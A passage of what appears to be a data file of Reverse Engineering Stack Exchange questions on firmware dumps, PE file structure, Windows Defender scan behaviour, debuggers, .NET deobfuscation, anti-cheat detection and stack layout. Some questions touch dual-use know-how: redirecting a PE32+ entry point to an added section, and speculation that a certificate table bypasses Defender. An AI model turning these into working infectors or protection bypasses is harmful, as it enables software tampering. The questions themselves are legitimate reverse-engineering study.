+0008b510  75 72 65 20 76 69 72 74  75 61 6c 20 66 6e 20 63  |ure virtual fn c|
+0008b520  61 6c 6c 65 64 00 43 2b  2b 20 6c 69 62 72 61 72  |alled.C++ librar|
+0008b530  79 20 65 78 63 65 70 74  69 6f 6e 00 00 4f 75 74  |y exception..Out|
+0008b540  20 6f 66 20 68 65 61 70  00 00 00 00 00 00 00 00  | of heap........|
+...
+
+ +and an ""end of file/segment""? marks + +
...
+000ffff0  00 ff ff ff ff ff ff ff  00 00 00 00 45 4e 44 46  |............ENDF|
+...
+001ffff0  00 ff ff ff ff ff ff ff  00 00 00 00 45 4e 44 46  |............ENDF|
+00200000
+
+ +Per this answer, I tried loading it to Cubesuite+ (v2.2.0) with various offsets and it never worked. It will error either “bad instructions” or “illegal file type”. + +I tried running Binwalk to check the architecture and this is what it shows: + +
$ binwalk -B Downloads/H12IM2S.ROM 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+
+$ binwalk -Y Downloads/H12IM2S.ROM 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+64662         0xFC96          ARM executable code, 16-bit (Thumb), little endian, at least 851 valid instructions
+
+binwalk -Y --verbose Downloads/H12IM2S.ROM 
+
+Scan Time:     2019-11-18 23:22:29
+Target File:   /home/Downloads/H12IM2S.ROM
+MD5 Checksum:  73ec6a79d66112a7580f5dc7d0213594
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+64662         0xFC96          ARM executable code, 16-bit (Thumb), little endian, at least 851 valid instructions
+64662         0xFC96          movs r0, r0
+64664         0xFC98          movs r0, r0
+64666         0xFC9A          movs r0, r0
+64668         0xFC9C          movs r0, r0
+64670         0xFC9E          movs r0, r0
+64672         0xFCA0          movs r0, r0
+64674         0xFCA2          movs r0, r0
+64676         0xFCA4          movs r0, r0
+64678         0xFCA6          movs r0, r0
+64680         0xFCA8          movs r0, r0
+64682         0xFCAA          movs r0, r0
+64684         0xFCAC          movs r0, r0
+...
+
+ +There's also a MediaTek MT8580 SoC on the board which handles the USB port and Ethernet, so maybe it makes sense to have some ARM instructions in the update file? + +Where do I go from here? +Should I remove the EPROM chip and try to dumb it’s content or is there a way to get the firmware from this update file? + +PS, I’m mostly interested in the firmware of this controller because it’s blocking Multichannel PCM audio from any HDMI input except from other LG Blu-ray players. I.e. it will only play stereo PCM from any pc or PlayStation and other devices that I tested but it will perfectly play 5.1 PCM if it comes from another LG Player. Checked with the main service provider here in Germany and this is by design as a copyright protection. Unbelievable! +" +['pe']," Title: What in this modified PE file causes MsMpEng.exe to consume 4 seconds of CPU?Body: The relevant files for this question are here: + +https://cubiclesoft.com/Unrelated/32_pe_msmpeng_test.zip + +Contains a before and after DLL. This simple PHP script demonstrates the problem: + + + +
<?php
+    $ts = microtime(true);
+    file_put_contents(""test.dll"", file_get_contents(""32_pe_msmpeng_before.dll""));
+    echo ""Time taken:  "" . sprintf(""%.02f"", microtime(true) - $ts) . "" sec\n"";
+    unlink(""test.dll"");
+
+    $ts = microtime(true);
+    file_put_contents(""test.dll"", file_get_contents(""32_pe_msmpeng_after.dll""));
+    echo ""Time taken:  "" . sprintf(""%.02f"", microtime(true) - $ts) . "" sec\n"";
+    unlink(""test.dll"");
+?>
+
+ +The output looks like: + +
>php test.php
+Time taken:  0.00 sec
+Time taken:  4.14 sec
+
+ +The only difference between the two DLLs is that the certificate table has been removed and the PE checksum has been updated in the ""after"" DLL. The 4 second delay is caused by MsMpEng.exe using 100% of one core of a CPU during that time. MsMpEng.exe is the main Windows Defender realtime scanning engine. The files are not flagged as malware but the behavior is bizarre in that simply removing the certificate table would trigger a deep scan. + +The original file was modified using my Windows PE File Tools for PHP and these commands: + +
php pe_tools.php modify clear-certs 32_pe_msmpeng_before.dll 32_pe_msmpeng_after.dll
+
+php pe_tools.php modify apply-checksum 32_pe_msmpeng_after.dll 32_pe_msmpeng_after.dll
+
+ +I've checked the ""after"" file in every conceivable way I can think of and it appears to be completely valid to all of the tools I've used. I've also modified plenty of other PE files without tripping up the realtime scanner. Just this file causes the time delay and spike in CPU usage and that only happens after the certificate table is removed. I can make all kinds of other crazy changes to the file that should immediately result in an invalid certificate table (e.g. adding a new PE section, embedding icons, etc) and it won't trip up the realtime scanner either. But remove the certificate table entirely and that 4 second delay + 100% CPU in MsMpEng.exe appears. This behavior seems to imply that just having a certificate table possibly bypasses portions or even, um, all of Windows Defender... + +But that's not really the question. What I'd like to know is what exactly is in the ""after"" DLL that is causing MsMpEng.exe to conduct a deep scan that takes upwards of 4 seconds to complete? +" +"['x86', 'asm']"," Title: Cant see mnemonics on ollydbg 2.01Body: Im reverse engineering an exe, but i get locked on a specific location, i suppose this is a jump to the same location, when im on this ""obfuscated"" addresses i cant see any instruction, but the actions looks like be JMP and RDTSC. + +Its bad configured OllyDBG ? + +Bug ? + +Some type of protection like VirtualProtect from MSDN ? + +Im using Windows 7 on VirtualBox. + + +" +"['amd64', 'graphics']"," Title: ASUS Strix Vega 56 or 64Body: I'm in the process of creating ASUS AURA drivers for Linux. I'm hoping somebody here has access to a Strix version of the Vega 56 or 64 on a windows machine? If you do, would you please dump the smbus. This can be done using a demo version of AIDA64. Right click the bottom status bar and select ""debug video -> dump ATI SMBUS"" (or something like that). + +I have the Polaris line of cards figured out, but Vega and Navi have thrown me a curve ball. +" +"['debugging', 'radare2']"," Title: Is there any way to display the standard input and output of a program to Cutter's console while debugging?Body: So it's easy to transfer the standard input and output in radare2 to a new terminal using rarun2, here's how: +Debugging with radare2 using two terminals + +i was wondering if i can use rarun2 with Cutter or even display the program's output in the cutter console? + +Edit: I'm using Ubuntu 18.04 +" +"['c++', 'x86-64', 'asm']"," Title: Go back to the original entry point after executing the instructions in the newly added segment- PE32+, C++Body: I am learning PE32+ (64 bit) files. I have added a new section to the PE32+ file and made the new section as the entry point. Some simple instructions are added in the new segment. Now I want to go to the old entry point after executing the new segment, then continue execution from there. I read the articles for PE32 that are using assembly language instructions. But I am not able get it working for 64 bit(tried to add .asm files). Please help me with any useful information. Is it possible to do it in C++? +" +"['anti-debugging', 'game-hacking']"," Title: What is the usual way to determine if a Game uses KernelMode or UserMode Anti cheat?Body: How does one find out if a game uses KernelMode anti cheat or UserMode? + +For example the Game Black Desert Online uses Xigncode. + +If i google a bit about Xigncode i immediately find out that: + +""Xigncode uses a driver called xhunter1.sys. to protect"" -> KernelMode + +What Tools and Steps are used by the people to determine this? +" +"['patching', 'objdump']"," Title: How to use arm-none-eabi-objcopy to extract texts, translate, and rebuild ELF fileBody: I have this arm elf file: https://www20.zippyshare.com/v/2yLS1H8D/file.html + +I want to extract the user-interface texts to translate them to my local language. +I found the section containing the texts and tried to + +
arm-none-eabi-objcopy hmi --dump-section .rodata=dump.txt
+
+ +there are English and Spanish texts in it, and i want to change the Spanish ones to German ones. + +how can i take the ELF apart, change these texts and rebuild the elf back again in a correct way? + +I did some text changes with a hex editor but this does not work very well. +" +"['decompilation', 'dll', '.net', 'c#']"," Title: reverse engineering obfuscated .net dllBody: I am decompiling a third party .NET dll which was obfuscated using codeveil
+my aim is to get full source code,
+
+I tried decompiling using dnSpy, JustDecompile & Reflector
+however it just shows the public methods and properties inside the dll
+and no method body is shown
+
+something like this: + +
    public class TestManager
+    {
+        // Fields
+        private OleDbDatabase b;
+
+        // Methods
+        public TestManager();
+        public OperationResult AddRecord(XProfile record);
+        public OperationResult RevokeRecord(XProfile record);
+    }
+
+ +it errors out when I try to export source code
+
+so how do I get the source code? is it possible?
+I guess at-least if I see the IL code then I can rewrite the functions +" +"['x64dbg', 'breakpoint', 'register']"," Title: x64dbg: break when a register contains a valueBody: Is there a way to break code execution when a register contains a particular value with x64dbg? I'm not talking about setting a conditional breakpoint at a specific location, but about watching the registers permanently and breaking as soon as the value is found. Ideally, I'd like to check the registers for string references, if possible. + +If such functionality doesn't exist, I'd be willing to try and implement it myself, if you could point me in the right direction, maybe. +" +"['c++', 'gdb', 'gcc']"," Title: Arrangement of variables on the stack - out of order?Body: I was practicing some reverse engineering crack-mes as part of our university curriculum, and I have a question around the arrangement of variables on the stack. + +I have a very basic C++ code, like so: + +
void foo(int x){
+    int a=0;
+    int b=x;
+    int c=3;
+    int z=a+b+c;
+    return;
+}
+
+int main(){
+     foo(5);
+     return 0;
+}
+
+ +I compile the program, like so: + +
g++ program.cpp -o program -ggdb 
+
+ +I run gdb with + +
gdb -q program
+
+ +And inside gdb + +
set disassembly-flavor intel
+disass foo
+
+ +I expect the stack frame layout of foo to have the variable a on top of b, followed by c and then z. But that does not seem to be the case. + +I have stumbled across this answer in which the explanation shows a similar layout of how variables are arranged. I'd expect that x would be at the highest address in the frame, right below ebp. But the answer clearly shows z being the closest to ebp, given that it is at ebp - 4 but x is at ebp - 12, which seems counter intuitive to me. + +I have read a bunch of books, and have seen a couple of online videos on buffer overflows where it is said that the first variable the compiler encounters is the first to be placed on the stack; and order of variable declaration can effect what variables are overwritten in case there is a buffer next to them that's overflown. Is this still a valid statement to make? + +Why do I see variables arranged in such an order? Kindly help me out, I'm not sure if my facts are outdated or am I missing something fundamental. + +PS: I am using Ubuntu 16.04 Desktop, with the latest version of GCC/G++ + +Edit 1: Adding disassembly of function foo + +
ubuntu@Ubuntu:~$ gdb -q program 
+Reading symbols from program... 
+(gdb) set disassembly intel 
+(gdb) disass foo 
+Dump of assembler code for function foo(int): 
+    0x0000000000001125 <+0>:    push rbp    
+    0x0000000000001126 <+1>:    mov rbp,rsp 
+    0x0000000000001129 <+4>:    mov DWORD PTR [rbp-0x14],edi 
+    0x000000000000112c <+7>:    mov DWORD PTR [rbp-0x10],0x0 
+    0x0000000000001133 <+14>:   mov eax,DWORD PTR [rbp-0x14]
+    0x0000000000001136 <+17>:   mov DWORD PTR [rbp-0xc],eax
+    0x0000000000001139 <+20>:   mov DWORD PTR [rbp-0x8],0x3
+    0x0000000000001140 <+27>:   mov edx,DWORD PTR [rbp-0x10]
+    0x0000000000001143 <+30>:   mov eax,DWORD PTR [rbp-0xc]
+    0x0000000000001146 <+33>:   add edx,eax 
+    0x0000000000001148 <+35>:   mov eax,DWORD PTR [rbp-0x8]
+    0x000000000000114b <+38>:   add eax,edx 
+    0x000000000000114d <+40>:   mov DWORD PTR [rbp-0x4],eax  
+    0x0000000000001150 <+43>:   nop 
+    0x0000000000001151 <+44>:   pop rbp 
+    0x0000000000001152 <+45>:   ret 
+End of assembler dump. 
+(gdb) b *foo+43 
+Breakpoint 1 at 0x1150: file program.cpp, line 6. 
+(gdb) r Starting program: /home/ubuntu/program Breakpoint 1, foo (x=5) at program.cpp:6 
+6    return; 
+(gdb) p &a 
+$1 = (int *) 0x7fffffffdfb0 
+(gdb) p $rbp-0x10 
+$2 = (void *) 0x7fffffffdfb0 
+
+(gdb) p &b 
+$3 = (int *) 0x7fffffffdfb4 
+(gdb) p $rbp-0xc 
+$4 = (void *) 0x7fffffffdfb4 
+
+(gdb) p &c 
+$5 = (int *) 0x7fffffffdfb8 
+(gdb) p $rbp-0x8 
+$6 = (void *) 0x7fffffffdfb8 
+
+(gdb) p &z 
+$7 = (int *) 0x7fffffffdfbc 
+(gdb) p $rbp-0x4 
+$8 = (void *) 0x7fffffffdfbc 
+(gdb)
+
+" +"['windows', 'memory', 'dumping', 'memory-dump']"," Title: Can a program's memory be dumped and then reinserted?Body: Is it possible to dump a running program's memory (Windows OS), and then later ""reinsert"" that memory when the program is run again? +" +"['ida', 'disassembly', 'firmware']"," Title: TMS320VC5416 DSP firmware reversingBody: I have file with DSP firmware inside. Each chunk of code or data is preceded by header with format ""page,offset,length"".See below full list of headers: + +
+ +page: 0000 offset: 0080 len: 0149
+page: 0000 offset: 02c2 len: 033b
+page: 0000 offset: 0639 len: 14d4
+page: 0000 offset: 1bc6 len: 0053
+page: 0000 offset: 4000 len: 0100
+page: 0000 offset: 4220 len: 0009
+page: 0000 offset: 4300 len: 00a1
+page: 0000 offset: 4670 len: 0075
+page: 0000 offset: 46f0 len: 00c4
+page: 0000 offset: 47c0 len: 003e
+page: 0000 offset: a210 len: 0009
+page: 0000 offset: b0a4 len: 0030
+page: 0000 offset: b1a8 len: 0039
+page: 0000 offset: c000 len: 0200
+page: 0000 offset: c9db len: 003f
+page: 0000 offset: ca20 len: 013b
+page: 0000 offset: cb60 len: 0034
+page: 0000 offset: ce81 len: 00d1
+page: 0000 offset: d000 len: 0100
+page: 0000 offset: d200 len: 080e
+page: 0002 offset: 9000 len: 339a
+page: 0002 offset: f000 len: 08ab
+page: 0003 offset: 8000 len: 435d + +
+ +How can I implement memory paging addressing using standard ida pro facilities ? +" +"['disassembly', 'assembly', 'objdump']"," Title: How can I objdump the assembler code of dynamically linked functions in a dynamically linked executable?Body: Compiling a minimal C++ program: +g++ -g -Wall -Wextra -std=c++17 -o prog main.cpp + + + +
int main()
+{
+}
+
+ +
+ +Performing an objdump -C -D prog of all sections I am given the following output: + + + +
prog:     file format elf64-x86-64
+
+
+Disassembly of section .interp:
+
+0000000000400200 <.interp>:
+  400200:   2f                      (bad)  
+  400201:   6c                      insb   (%dx),%es:(%rdi)
+  400202:   69 62 36 34 2f 6c 64    imul   $0x646c2f34,0x36(%rdx),%esp
+  400209:   2d 6c 69 6e 75          sub    $0x756e696c,%eax
+  40020e:   78 2d                   js     40023d <_init-0x193>
+  400210:   78 38                   js     40024a <_init-0x186>
+  400212:   36 2d 36 34 2e 73       ss sub $0x732e3436,%eax
+  400218:   6f                      outsl  %ds:(%rsi),(%dx)
+  400219:   2e 32 00                xor    %cs:(%rax),%al
+
+Disassembly of section .note.ABI-tag:
+
+000000000040021c <.note.ABI-tag>:
+  40021c:   04 00                   add    $0x0,%al
+  40021e:   00 00                   add    %al,(%rax)
+  400220:   10 00                   adc    %al,(%rax)
+  400222:   00 00                   add    %al,(%rax)
+  400224:   01 00                   add    %eax,(%rax)
+  400226:   00 00                   add    %al,(%rax)
+  400228:   47                      rex.RXB
+  400229:   4e 55                   rex.WRX push %rbp
+  40022b:   00 00                   add    %al,(%rax)
+  40022d:   00 00                   add    %al,(%rax)
+  40022f:   00 02                   add    %al,(%rdx)
+  400231:   00 00                   add    %al,(%rax)
+  400233:   00 06                   add    %al,(%rsi)
+  400235:   00 00                   add    %al,(%rax)
+  400237:   00 20                   add    %ah,(%rax)
+  400239:   00 00                   add    %al,(%rax)
+    ...
+
+Disassembly of section .hash:
+
+0000000000400240 <.hash>:
+  400240:   03 00                   add    (%rax),%eax
+  400242:   00 00                   add    %al,(%rax)
+  400244:   05 00 00 00 01          add    $0x1000000,%eax
+  400249:   00 00                   add    %al,(%rax)
+  40024b:   00 04 00                add    %al,(%rax,%rax,1)
+    ...
+  40025e:   00 00                   add    %al,(%rax)
+  400260:   02 00                   add    (%rax),%al
+  400262:   00 00                   add    %al,(%rax)
+  400264:   03 00                   add    (%rax),%eax
+    ...
+
+Disassembly of section .dynsym:
+
+0000000000400268 <.dynsym>:
+    ...
+  400280:   10 00                   adc    %al,(%rax)
+  400282:   00 00                   add    %al,(%rax)
+  400284:   20 00                   and    %al,(%rax)
+    ...
+  400296:   00 00                   add    %al,(%rax)
+  400298:   77 00                   ja     40029a <_init-0x136>
+  40029a:   00 00                   add    %al,(%rax)
+  40029c:   12 00                   adc    (%rax),%al
+    ...
+  4002ae:   00 00                   add    %al,(%rax)
+  4002b0:   1f                      (bad)  
+  4002b1:   00 00                   add    %al,(%rax)
+  4002b3:   00 20                   add    %ah,(%rax)
+    ...
+  4002c5:   00 00                   add    %al,(%rax)
+  4002c7:   00 3b                   add    %bh,(%rbx)
+  4002c9:   00 00                   add    %al,(%rax)
+  4002cb:   00 20                   add    %ah,(%rax)
+    ...
+
+Disassembly of section .dynstr:
+
+00000000004002e0 <.dynstr>:
+  4002e0:   00 6c 69 62             add    %ch,0x62(%rcx,%rbp,2)
+  4002e4:   73 74                   jae    40035a <_init-0x76>
+  4002e6:   64 63 2b                movslq %fs:(%rbx),%ebp
+  4002e9:   2b 2e                   sub    (%rsi),%ebp
+  4002eb:   73 6f                   jae    40035c <_init-0x74>
+  4002ed:   2e 36 00 5f 5f          cs add %bl,%ss:0x5f(%rdi)
+  4002f2:   67 6d                   insl   (%dx),%es:(%edi)
+  4002f4:   6f                      outsl  %ds:(%rsi),(%dx)
+  4002f5:   6e                      outsb  %ds:(%rsi),(%dx)
+  4002f6:   5f                      pop    %rdi
+  4002f7:   73 74                   jae    40036d <_init-0x63>
+  4002f9:   61                      (bad)  
+  4002fa:   72 74                   jb     400370 <_init-0x60>
+  4002fc:   5f                      pop    %rdi
+  4002fd:   5f                      pop    %rdi
+  4002fe:   00 5f 49                add    %bl,0x49(%rdi)
+  400301:   54                      push   %rsp
+  400302:   4d 5f                   rex.WRB pop %r15
+  400304:   64 65 72 65             fs gs jb 40036d <_init-0x63>
+  400308:   67 69 73 74 65 72 54    imul   $0x4d547265,0x74(%ebx),%esi
+  40030f:   4d 
+  400310:   43 6c                   rex.XB insb (%dx),%es:(%rdi)
+  400312:   6f                      outsl  %ds:(%rsi),(%dx)
+  400313:   6e                      outsb  %ds:(%rsi),(%dx)
+  400314:   65 54                   gs push %rsp
+  400316:   61                      (bad)  
+  400317:   62                      (bad)  
+  400318:   6c                      insb   (%dx),%es:(%rdi)
+  400319:   65 00 5f 49             add    %bl,%gs:0x49(%rdi)
+  40031d:   54                      push   %rsp
+  40031e:   4d 5f                   rex.WRB pop %r15
+  400320:   72 65                   jb     400387 <_init-0x49>
+  400322:   67 69 73 74 65 72 54    imul   $0x4d547265,0x74(%ebx),%esi
+  400329:   4d 
+  40032a:   43 6c                   rex.XB insb (%dx),%es:(%rdi)
+  40032c:   6f                      outsl  %ds:(%rsi),(%dx)
+  40032d:   6e                      outsb  %ds:(%rsi),(%dx)
+  40032e:   65 54                   gs push %rsp
+  400330:   61                      (bad)  
+  400331:   62                      (bad)  
+  400332:   6c                      insb   (%dx),%es:(%rdi)
+  400333:   65 00 6c 69 62          add    %ch,%gs:0x62(%rcx,%rbp,2)
+  400338:   6d                      insl   (%dx),%es:(%rdi)
+  400339:   2e 73 6f                jae,pn 4003ab <_init-0x25>
+  40033c:   2e 36 00 6c 69 62       cs add %ch,%ss:0x62(%rcx,%rbp,2)
+  400342:   67 63 63 5f             movslq 0x5f(%ebx),%esp
+  400346:   73 2e                   jae    400376 <_init-0x5a>
+  400348:   73 6f                   jae    4003b9 <_init-0x17>
+  40034a:   2e 31 00                xor    %eax,%cs:(%rax)
+  40034d:   6c                      insb   (%dx),%es:(%rdi)
+  40034e:   69 62 63 2e 73 6f 2e    imul   $0x2e6f732e,0x63(%rdx),%esp
+  400355:   36 00 5f 5f             add    %bl,%ss:0x5f(%rdi)
+  400359:   6c                      insb   (%dx),%es:(%rdi)
+  40035a:   69 62 63 5f 73 74 61    imul   $0x6174735f,0x63(%rdx),%esp
+  400361:   72 74                   jb     4003d7 <_init+0x7>
+  400363:   5f                      pop    %rdi
+  400364:   6d                      insl   (%dx),%es:(%rdi)
+  400365:   61                      (bad)  
+  400366:   69 6e 00 47 4c 49 42    imul   $0x42494c47,0x0(%rsi),%ebp
+  40036d:   43 5f                   rex.XB pop %r15
+  40036f:   32 2e                   xor    (%rsi),%ch
+  400371:   32 2e                   xor    (%rsi),%ch
+  400373:   35                      .byte 0x35
+    ...
+
+Disassembly of section .gnu.version:
+
+0000000000400376 <.gnu.version>:
+  400376:   00 00                   add    %al,(%rax)
+  400378:   00 00                   add    %al,(%rax)
+  40037a:   02 00                   add    (%rax),%al
+  40037c:   00 00                   add    %al,(%rax)
+    ...
+
+Disassembly of section .gnu.version_r:
+
+0000000000400380 <.gnu.version_r>:
+  400380:   01 00                   add    %eax,(%rax)
+  400382:   01 00                   add    %eax,(%rax)
+  400384:   6d                      insl   (%dx),%es:(%rdi)
+  400385:   00 00                   add    %al,(%rax)
+  400387:   00 10                   add    %dl,(%rax)
+  400389:   00 00                   add    %al,(%rax)
+  40038b:   00 00                   add    %al,(%rax)
+  40038d:   00 00                   add    %al,(%rax)
+  40038f:   00 75 1a                add    %dh,0x1a(%rbp)
+  400392:   69 09 00 00 02 00       imul   $0x20000,(%rcx),%ecx
+  400398:   89 00                   mov    %eax,(%rax)
+  40039a:   00 00                   add    %al,(%rax)
+  40039c:   00 00                   add    %al,(%rax)
+    ...
+
+Disassembly of section .rela.dyn:
+
+00000000004003a0 <.rela.dyn>:
+  4003a0:   d0 08                   rorb   (%rax)
+  4003a2:   60                      (bad)  
+  4003a3:   00 00                   add    %al,(%rax)
+  4003a5:   00 00                   add    %al,(%rax)
+  4003a7:   00 06                   add    %al,(%rsi)
+  4003a9:   00 00                   add    %al,(%rax)
+  4003ab:   00 01                   add    %al,(%rcx)
+    ...
+
+Disassembly of section .rela.plt:
+
+00000000004003b8 <.rela.plt>:
+  4003b8:   f0 08 60 00             lock or %ah,0x0(%rax)
+  4003bc:   00 00                   add    %al,(%rax)
+  4003be:   00 00                   add    %al,(%rax)
+  4003c0:   07                      (bad)  
+  4003c1:   00 00                   add    %al,(%rax)
+  4003c3:   00 02                   add    %al,(%rdx)
+    ...
+
+Disassembly of section .init:
+
+00000000004003d0 <_init>:
+  4003d0:   48 83 ec 08             sub    $0x8,%rsp
+  4003d4:   48 8b 05 f5 04 20 00    mov    0x2004f5(%rip),%rax        # 6008d0 <_DYNAMIC+0x200>
+  4003db:   48 85 c0                test   %rax,%rax
+  4003de:   74 05                   je     4003e5 <_init+0x15>
+  4003e0:   e8 2b 00 00 00          callq  400410 <__libc_start_main@plt+0x10>
+  4003e5:   48 83 c4 08             add    $0x8,%rsp
+  4003e9:   c3                      retq   
+
+Disassembly of section .plt:
+
+00000000004003f0 <__libc_start_main@plt-0x10>:
+  4003f0:   ff 35 ea 04 20 00       pushq  0x2004ea(%rip)        # 6008e0 <_GLOBAL_OFFSET_TABLE_+0x8>
+  4003f6:   ff 25 ec 04 20 00       jmpq   *0x2004ec(%rip)        # 6008e8 <_GLOBAL_OFFSET_TABLE_+0x10>
+  4003fc:   0f 1f 40 00             nopl   0x0(%rax)
+
+0000000000400400 <__libc_start_main@plt>:
+  400400:   ff 25 ea 04 20 00       jmpq   *0x2004ea(%rip)        # 6008f0 <_GLOBAL_OFFSET_TABLE_+0x18>
+  400406:   68 00 00 00 00          pushq  $0x0
+  40040b:   e9 e0 ff ff ff          jmpq   4003f0 <_init+0x20>
+
+Disassembly of section .plt.got:
+
+0000000000400410 <.plt.got>:
+  400410:   ff 25 ba 04 20 00       jmpq   *0x2004ba(%rip)        # 6008d0 <_DYNAMIC+0x200>
+  400416:   66 90                   xchg   %ax,%ax
+
+Disassembly of section .text:
+
+0000000000400420 <_start>:
+  400420:   31 ed                   xor    %ebp,%ebp
+  400422:   49 89 d1                mov    %rdx,%r9
+  400425:   5e                      pop    %rsi
+  400426:   48 89 e2                mov    %rsp,%rdx
+  400429:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
+  40042d:   50                      push   %rax
+  40042e:   54                      push   %rsp
+  40042f:   49 c7 c0 80 05 40 00    mov    $0x400580,%r8
+  400436:   48 c7 c1 10 05 40 00    mov    $0x400510,%rcx
+  40043d:   48 c7 c7 f7 04 40 00    mov    $0x4004f7,%rdi
+  400444:   e8 b7 ff ff ff          callq  400400 <__libc_start_main@plt>
+  400449:   f4                      hlt    
+  40044a:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
+
+0000000000400450 <deregister_tm_clones>:
+  400450:   55                      push   %rbp
+  400451:   b8 08 09 60 00          mov    $0x600908,%eax
+  400456:   48 3d 08 09 60 00       cmp    $0x600908,%rax
+  40045c:   48 89 e5                mov    %rsp,%rbp
+  40045f:   74 17                   je     400478 <deregister_tm_clones+0x28>
+  400461:   b8 00 00 00 00          mov    $0x0,%eax
+  400466:   48 85 c0                test   %rax,%rax
+  400469:   74 0d                   je     400478 <deregister_tm_clones+0x28>
+  40046b:   5d                      pop    %rbp
+  40046c:   bf 08 09 60 00          mov    $0x600908,%edi
+  400471:   ff e0                   jmpq   *%rax
+  400473:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
+  400478:   5d                      pop    %rbp
+  400479:   c3                      retq   
+  40047a:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
+
+0000000000400480 <register_tm_clones>:
+  400480:   be 08 09 60 00          mov    $0x600908,%esi
+  400485:   55                      push   %rbp
+  400486:   48 81 ee 08 09 60 00    sub    $0x600908,%rsi
+  40048d:   48 89 e5                mov    %rsp,%rbp
+  400490:   48 c1 fe 03             sar    $0x3,%rsi
+  400494:   48 89 f0                mov    %rsi,%rax
+  400497:   48 c1 e8 3f             shr    $0x3f,%rax
+  40049b:   48 01 c6                add    %rax,%rsi
+  40049e:   48 d1 fe                sar    %rsi
+  4004a1:   74 15                   je     4004b8 <register_tm_clones+0x38>
+  4004a3:   b8 00 00 00 00          mov    $0x0,%eax
+  4004a8:   48 85 c0                test   %rax,%rax
+  4004ab:   74 0b                   je     4004b8 <register_tm_clones+0x38>
+  4004ad:   5d                      pop    %rbp
+  4004ae:   bf 08 09 60 00          mov    $0x600908,%edi
+  4004b3:   ff e0                   jmpq   *%rax
+  4004b5:   0f 1f 00                nopl   (%rax)
+  4004b8:   5d                      pop    %rbp
+  4004b9:   c3                      retq   
+  4004ba:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
+
+00000000004004c0 <__do_global_dtors_aux>:
+  4004c0:   80 3d 41 04 20 00 00    cmpb   $0x0,0x200441(%rip)        # 600908 <__TMC_END__>
+  4004c7:   75 17                   jne    4004e0 <__do_global_dtors_aux+0x20>
+  4004c9:   55                      push   %rbp
+  4004ca:   48 89 e5                mov    %rsp,%rbp
+  4004cd:   e8 7e ff ff ff          callq  400450 <deregister_tm_clones>
+  4004d2:   c6 05 2f 04 20 00 01    movb   $0x1,0x20042f(%rip)        # 600908 <__TMC_END__>
+  4004d9:   5d                      pop    %rbp
+  4004da:   c3                      retq   
+  4004db:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
+  4004e0:   f3 c3                   repz retq 
+  4004e2:   0f 1f 40 00             nopl   0x0(%rax)
+  4004e6:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
+  4004ed:   00 00 00 
+
+00000000004004f0 <frame_dummy>:
+  4004f0:   55                      push   %rbp
+  4004f1:   48 89 e5                mov    %rsp,%rbp
+  4004f4:   5d                      pop    %rbp
+  4004f5:   eb 89                   jmp    400480 <register_tm_clones>
+
+00000000004004f7 <main>:
+  4004f7:   55                      push   %rbp
+  4004f8:   48 89 e5                mov    %rsp,%rbp
+  4004fb:   b8 00 00 00 00          mov    $0x0,%eax
+  400500:   5d                      pop    %rbp
+  400501:   c3                      retq   
+  400502:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
+  400509:   00 00 00 
+  40050c:   0f 1f 40 00             nopl   0x0(%rax)
+
+    ...
+
+  (Due to limits of the body in SO questions I'm cutting it off here)
+
+ +
+ +But as I'm single stepping through the debugger, I eventually end up in the assembler code of __libc_start_main (whose code is not seen in the objdump of the program): + + + +
0x00007ffffe790740 <__libc_start_main+0>:   push   %r14
+0x00007ffffe790742 <__libc_start_main+2>:   push   %r13
+0x00007ffffe790744 <__libc_start_main+4>:   push   %r12
+0x00007ffffe790746 <__libc_start_main+6>:   push   %rbp
+0x00007ffffe790747 <__libc_start_main+7>:   mov    %rcx,%rbp
+0x00007ffffe79074a <__libc_start_main+10>:  push   %rbx
+0x00007ffffe79074b <__libc_start_main+11>:  sub    $0x90,%rsp
+0x00007ffffe790752 <__libc_start_main+18>:  mov    0x3a37ef(%rip),%rax        # 0x7ffffeb33f48
+0x00007ffffe790759 <__libc_start_main+25>:  mov    %rdi,0x18(%rsp)
+0x00007ffffe79075e <__libc_start_main+30>:  mov    %esi,0x14(%rsp)
+0x00007ffffe790762 <__libc_start_main+34>:  mov    %rdx,0x8(%rsp)
+0x00007ffffe790767 <__libc_start_main+39>:  test   %rax,%rax
+0x00007ffffe79076a <__libc_start_main+42>:  je     0x7ffffe790837 <__libc_start_main+247>
+0x00007ffffe790770 <__libc_start_main+48>:  mov    (%rax),%eax
+0x00007ffffe790772 <__libc_start_main+50>:  xor    %edx,%edx
+0x00007ffffe790774 <__libc_start_main+52>:  test   %eax,%eax
+0x00007ffffe790776 <__libc_start_main+54>:  sete   %dl
+0x00007ffffe790779 <__libc_start_main+57>:  lea    0x3a3900(%rip),%rax        # 0x7ffffeb34080 <__libc_multiple_libcs>
+0x00007ffffe790780 <__libc_start_main+64>:  test   %r9,%r9
+0x00007ffffe790783 <__libc_start_main+67>:  mov    %edx,(%rax)
+0x00007ffffe790785 <__libc_start_main+69>:  je     0x7ffffe790793 <__libc_start_main+83>
+0x00007ffffe790787 <__libc_start_main+71>:  xor    %edx,%edx
+0x00007ffffe790789 <__libc_start_main+73>:  xor    %esi,%esi
+0x00007ffffe79078b <__libc_start_main+75>:  mov    %r9,%rdi
+0x00007ffffe79078e <__libc_start_main+78>:  callq  0x7ffffe7aa280 <__GI___cxa_atexit>
+0x00007ffffe790793 <__libc_start_main+83>:  mov    0x3a36d6(%rip),%rdx        # 0x7ffffeb33e70
+0x00007ffffe79079a <__libc_start_main+90>:  mov    (%rdx),%ebx
+0x00007ffffe79079c <__libc_start_main+92>:  and    $0x2,%ebx
+0x00007ffffe79079f <__libc_start_main+95>:  jne    0x7ffffe790876 <__libc_start_main+310>
+0x00007ffffe7907a5 <__libc_start_main+101>: test   %rbp,%rbp
+0x00007ffffe7907a8 <__libc_start_main+104>: je     0x7ffffe7907bf <__libc_start_main+127>
